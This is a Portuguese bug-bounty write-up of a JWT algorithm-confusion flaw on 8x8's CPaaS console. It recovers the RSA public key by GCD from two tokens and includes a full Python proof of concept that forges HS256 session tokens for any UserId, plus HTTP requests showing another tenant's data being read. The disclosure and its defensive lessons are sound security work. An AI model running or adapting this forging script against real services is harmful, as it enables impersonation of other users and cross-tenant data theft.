Writeup de como eu peguei uma confusão de algoritmo em JWT (RS256 para HS256) no console CPaaS da 8x8, que dá pra forjar a sessão de qualquer usuário da plataforma a partir de uma conta de trial.
connect.8x8.com/api/v1: JWT Algorithm Confusion Vulnerability (https://hackerone.com/reports/3800870) - $1337 bounty
7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Onde eu estava olhando
connect.8x8.com é o console de CPaaS da 8x8 (SMS, voz, chat apps, número virtual, billing). Eu não tinha começado caçando JWT. Estava mapeando a arquitetura de autenticação, e a primeira coisa que apareceu é que o mesmo host serve duas camadas de API de eras diferentes: /api/v1 cai num backend Java (portal-apiv1, o que serve o console antigo) e /api/v2 cai num serviço Node mais novo. Dá pra separar os dois só pelo erro: v1 responde Invalid credentials, v2 responde access_denied.
Isso por si só já é um lead. Quando um produto tem dois backends escritos em épocas diferentes atrás do mesmo domínio, os checks de auth quase nunca são idênticos, e o mais velho normalmente é o que ficou pra trás.
O primeiro reflexo em qualquer app autenticado é abrir o token da sessão. Foi o que eu fiz.
JWT em 30 segundos
Um JWT é três pedaços em base64url separados por ponto:
header.payload.assinatura
O header diz qual algoritmo assina o token. O payload são os dados (quem é o usuário, quando expira). A assinatura é o que garante que o payload não foi alterado depois de emitido.
A assinatura é calculada sobre header.payload. Quando o token volta numa request, o servidor recalcula e compara com a que veio. Bateu, ele confia no payload. Não bateu, rejeita. Toda a segurança do JWT está nessa comparação. Se eu conseguir produzir uma assinatura que o servidor aceita, eu coloco o que eu quiser no payload.
A diferença entre os dois algoritmos que importam aqui:
- RS256 é assimétrico. O servidor assina com a chave privada, qualquer um verifica com a chave pública. A pública é pública de propósito, não tem segredo nela. Conhecer a chave pública não te deixa forjar nada, porque assinar exige a privada.
- HS256 é simétrico (HMAC). A mesma chave assina e verifica. Quem conhece a chave consegue assinar.
O payload carregava informação demais
Login feito, fui no localStorage e abri o token. Header normal: {"alg":"RS256","typ":"JWT"}. O payload é que chamou atenção:
{
"UserId": "B0C6B89F-E73F-4900-B4E0-74E098F277C3",
"Email": "[email protected]",
"AccountId": "AsyxSecLab...",
"AccessLevel": "A",
"Roles": ["ApiKeys_v2", "Payment_v2", "UserManagement.ManageUsers_v2"],
"iss": "connect.8x8.com",
"exp": 1750000000
}
Identidade, e-mail, conta, nível de acesso, roles. Tudo dentro do token. Isso diz uma coisa: o servidor lê a sessão direto da assinatura em vez de bater no banco a cada request. É comum e é eficiente. Também quer dizer que quem forjar uma assinatura válida não burla um check de autorização, vira o usuário. O servidor acredita em cada campo do payload.
Então o alvo ficou claro. Não era achar um endpoint mal protegido, era assinar um token que esse servidor aceita.
A confusão de algoritmo
O bug clássico de confusão de algoritmo é uma biblioteca que escolhe o que fazer com base no alg do header, que é um campo que eu controlo.
O servidor tem uma chave configurada. Se o token chega com alg: RS256, ele trata essa chave como chave pública RSA e verifica a assinatura. Se eu trocar para alg: HS256, algumas implementações pegam essa mesma chave (os bytes do PEM da pública) e usam como segredo do HMAC.
O problema fica visível aí: o segredo do HMAC passa a ser uma coisa que não é secreta, a chave pública. Teoricamente eu conheço a chave pública. Então eu consigo assinar um HS256 válido: mando {"alg":"HS256"}, assino o payload com o PEM da pública como segredo, e o servidor verifica o HMAC com o mesmo PEM e dá match.
Faltava só a chave pública.
Recuperando a chave pública por GCD
Procurei o de sempre: /.well-known/jwks.json, endpoint de metadata, chave embutida no JS. Nada exposto.
Mas dá pra recuperar a chave pública a partir de duas assinaturas suas. Não precisa que ninguém te dê. E eu já tinha o gerador de assinaturas: cada login me devolve um token novo, assinado pela chave privada deles.
Uma assinatura RS256 é s = m^d mod N, onde m é o hash com padding e N é o modulus (a parte pública da chave, junto com e = 65537). Elevando os dois lados a e:
s^e ≡ m (mod N)
ou seja, s^e - m é múltiplo de N. Com dois tokens meus (assinaturas s1, s2, mensagens m1, m2), N divide os dois números s1^e - m1 e s2^e - m2, então divide o MDC:
N | gcd(s1^e - m1, s2^e - m2)
O gcd te dá N vezes uns fatores pequenos espúrios, que você tira dividindo pelos primos pequenos. Sobra o modulus. Com N e e você remonta o PEM. Dois tokens da sua própria conta, zero interação com vítima.
A chave era de 1024 bits, então o GCD roda em segundos.
A PoC
Pega dois tokens seus, recupera o modulus por GCD, monta o PEM, e assina um HS256 trocando o UserId para o da vítima:
#!/usr/bin/env python3
# connect.8x8.com v1: confusao de algoritmo RS256->HS256 -> forja a sessao de qualquer usuario.
# pip install gmpy2 cryptography
# uso: python3 poc.py <meu_token1> <meu_token2> <UserId_da_vitima>
import sys, json, base64, hashlib, hmac, gmpy2
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=')
ub64u = lambda s: base64.urlsafe_b64decode(s + '=' * (-len(s) % 4))
SHA256_DIGINFO = bytes.fromhex('3031300d060960864801650304020105000420')
def split(tok):
h, p, s = tok.strip().split('.')
sig = ub64u(s)
return (h + '.' + p).encode(), int.from_bytes(sig, 'big'), len(sig), json.loads(ub64u(p))
def emsa_pkcs1(signing_input, klen): # o inteiro que uma assinatura RS256 valida "abre"
T = SHA256_DIGINFO + hashlib.sha256(signing_input).digest()
return int.from_bytes(b'\x00\x01' + b'\xff' * (klen - 3 - len(T)) + b'\x00' + T, 'big')
si1, s1, klen, p1 = split(open(sys.argv[1]).read())
si2, s2, _, _ = split(open(sys.argv[2]).read())
e = 65537
N = int(gmpy2.gcd(s1**e - emsa_pkcs1(si1, klen), s2**e - emsa_pkcs1(si2, klen)))
for f in range(2, 100000): # tira os fatores pequenos espurios
while N % f == 0: N //= f
assert pow(s1, e, N) == emsa_pkcs1(si1, klen) % N, "recuperacao do modulus falhou"
pem = rsa.RSAPublicNumbers(e, N).public_key().public_bytes(
serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
payload = dict(p1) # usa os claims do seu token como template...
payload['UserId'] = sys.argv[3] # ...e troca o UserId da vitima (o unico campo que importa)
msg = b64u(b'{"alg":"HS256","typ":"JWT"}') + b'.' + b64u(json.dumps(payload, separators=(',', ':')).encode())
print((msg + b'.' + b64u(hmac.new(pem, msg, hashlib.sha256).digest())).decode())
As duas linhas que fazem o bug acontecer: o alg vira HS256 e o segredo do HMAC é pem, a chave pública recuperada.
$ python3 poc.py token_a.jwt token_b.jwt 988C7325-9679-4ACC-951C-00291EFDA43E
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJFbWFpbCI6... (alg=HS256)
Forjando a sessão de outra conta
Pra não testar na conta de ninguém de verdade, criei uma segunda conta de trial, de outro tenant, pra ser a vítima. UserId 988C7325-9679-4ACC-951C-00291EFDA43E, conta AsyxOrg2Corp3978_0pP78. Forjei o token com o UserId dela e mandei no endpoint de identidade:
GET /api/v1/auth/user?rolesVersion=2 HTTP/2
Host: connect.8x8.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
HTTP/2 200 OK
{"data":{
"UserId":"988C7325-9679-4ACC-951C-00291EFDA43E",
"Login":"[email protected]",
"AccountId":"AsyxOrg2Corp3978_0pP78",
"AccountUid":"61AAF736-5C64-F111-B95E-060D6FF3E2F2",
"AccessLevel":"A",
"Roles":["ApiKeys_v2","Payment_v2","UserManagement.ManageUsers_v2", "..."]
}}
200, respondido como a outra conta, de outro tenant. E não é eco do meu token: o e-mail e o AccountUid vieram do registro dela no servidor. Depois confirmei que GET /api/v1/users/profile também devolve o perfil completo da identidade forjada (e-mail, telefone, nome, empresa), e os dados da conta:
GET /api/v1/accounts/61AAF736-5C64-F111-B95E-060D6FF3E2F2/sub-accounts HTTP/2
Authorization: Bearer <token forjado HS256>
HTTP/2 200 OK
[[{"SubAccountUid":108619,"SubAccountId":"AsyxOrg2Corp3978_0pP78_hq","Product_SMS":true,"Default":1}]]
O mesmo endpoint com o meu AccountUid devolve 400 (id não bate). Isso prova que o token está amarrado à identidade da vítima, não é um curinga de "auth faltando" que devolve qualquer coisa pra qualquer um.
Onde o bug para
Tentei escrever. Todo endpoint que muda estado, sob o token forjado, devolveu 500 ou Impersonation checking failed. Tem uma segunda barreira na escrita que o forge não passa. Então é read-impersonation: leio identidade, e-mail, conta, roles, perfil e sub-contas da vítima, cross-tenant, e os endpoints de /balance e /payments/transactions respondem 200. Mas não escrevo.
O mapa dos outros verificadores
Também vale checar onde mais o token roda. O mesmo token forjado, contra o backend v2, contra sso.8x8.com e contra o JaaS em 8x8.vc, tomou 401 em todos (o v2 responde literalmente "invalid algorithm"). Todos os outros verificadores pinam o algoritmo. Só o caminho de leitura do v1 tinha o buraco.
Isso ajuda o report de duas formas: mostra que o escopo do bug foi mapeado, e mostra que a correção já roda em produção do lado deles, é só aplicar no verificador que ficou pra trás. Foi exatamente o palpite inicial (o backend mais velho atrás do mesmo domínio) confirmado.
Resumo
- Token gordo (identidade, roles, nível de acesso) é sinal de que o servidor confia na assinatura como fonte de verdade. Seguro enquanto a assinatura for inquebrável, e a maior superfície de ataque no momento em que não for.
- Duas camadas de API atrás do mesmo host, escritas em épocas diferentes, é um lead de auth por si só. Foi o que me fez testar os dois verificadores em vez de só um.
- "Não tenho a chave pública" raramente encerra o assunto em RSA: dois tokens seus e um GCD recuperam o modulus.
- Mapear onde o bug não está (os outros backends pinando o alg) dá peso ao report.
- Reprodução não é reportabilidade: o
200prova que roda, os controles provam que é bug. Manda os dois.